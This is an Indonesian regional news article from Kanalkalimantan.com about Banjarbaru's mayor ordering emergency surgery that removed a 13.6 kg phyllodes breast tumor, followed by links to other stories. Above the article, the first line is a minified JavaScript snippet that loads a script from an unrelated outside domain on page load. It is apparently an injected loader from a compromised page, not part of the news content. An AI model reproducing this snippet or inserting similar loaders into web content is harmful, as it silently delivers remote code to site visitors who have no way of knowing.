(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Respons cepat Wali Kota Banjarbaru, Hj Erna Lisa Halaby, terhadap laporan masyarakat kembali membuahkan hasil nyata bagi keselamatan warga. Seorang pasien pengidap tumor payudara kronis langsung mendapatkan penanganan medis darurat setelah Wali Kota menginstruksikan tim gabungan untuk bergerak cepat.
Kasus ini menimpa Ibu Anjani, warga Jalan Makmur, Kecamatan Liang Anggang. Kondisi pasien dilaporkan sangat memprihatinkan karena tumor yang diidapnya telah pecah. Laporan darurat tersebut diterima langsung oleh Wali Kota dan segera ditindaklanjuti dengan perintah kepada Petugas Sosial Masyarakat (PSM) serta tim medis Rumah Sakit Daerah Idaman (RSDI) Banjarbaru.
“Ini menyangkut keselamatan jiwa.
Berdasarkan laporan, kondisi pasien sudah sangat parah karena tumornya sudah pecah. Saya minta petugas lapangan dan pihak RS Idaman segera mengambil tindakan medis tanpa menunda,” tegas Hj Erna Lisa Halaby, Minggu (25/1/2026).
Baca juga: HMI Kalsel Fokus Pemetaan Bakat Kader di Empat Bidang Utama
Operasi Berjalan Lancar Langkah taktis tersebut membuahkan hasil positif. Wali Kota mengonfirmasi bahwa tim dokter telah berhasil melakukan tindakan operasi pada Sabtu (24/1/2026) kemarin.
“Alhamdulillah, operasi berjalan lancar. Saya berterima kasih kepada tim dokter RSD Idaman yang telah bekerja maksimal. Harapan saya, pasien segera pulih dan bisa kembali beraktivitas,” tambahnya.
Detail Medis: Tumor Seberat 13,6 Kilogram Direktur RSDI Banjarbaru, dr. Danny Indrawardhana, MMRS, menjelaskan bahwa pasien didiagnosis menderita Tumor Phyllodes. Operasi pengangkatan tumor tersebut dilakukan oleh spesialis bedah, dr. Dyah Paramita, Sp.B.
Temuan di ruang operasi cukup mengejutkan, di mana massa tumor yang berhasil diangkat mencapai berat 13,6 kilogram.
Baca juga: Begini Modus Suap KPP Madya Banjarmasin yang Dibongkar KPK
“Berat tumor mencapai 13,6 kilogram. Mengingat kompleksitas dan kondisi pascabedah, saat ini pasien masih menjalani perawatan intensif dan pemantauan ketat di ruang ICU,” jelas dr. Danny.
Pihak rumah sakit berkomitmen untuk terus memantau stabilitas kondisi pasien hingga dinyatakan pulih sepenuhnya. dr. Danny juga mengapresiasi koordinasi erat antara pemerintah kota dan fasilitas kesehatan dalam menangani kasus-kasus darurat seperti ini. (Kanakalimantan.com/al)
Reporter: al
Editor: kk
KANALKALIMANTAN.COM,KUALA KAPUAS - Dinas Perindustrian, Perdagangan, Koperasi, dan UMKM Kabupaten Kapuas menggelar rapat lanjutan penataan… Read More
KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur memberikan perhatian khusus terhadap penertiban pengelolaan Taman… Read More
KANALKALIMANTAN.COM KUALA KAPUAS - Pemerintah Kabupaten Kapuas menandatangani kesepakatan bersama dan perjanjian kerja sama dengan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU), H Sahrujani berikan apresiasi dan terima kasih… Read More
KANALKALIMANTAN.COM, SERANG - Menteri Komunikasi dan Digital (Menkomdigi) Meutya Hafid menegaskan bahwa kolaborasi strategis antara… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) terus melakukan langkah pemulihan lahan pertanian yang… Read More
This website uses cookies.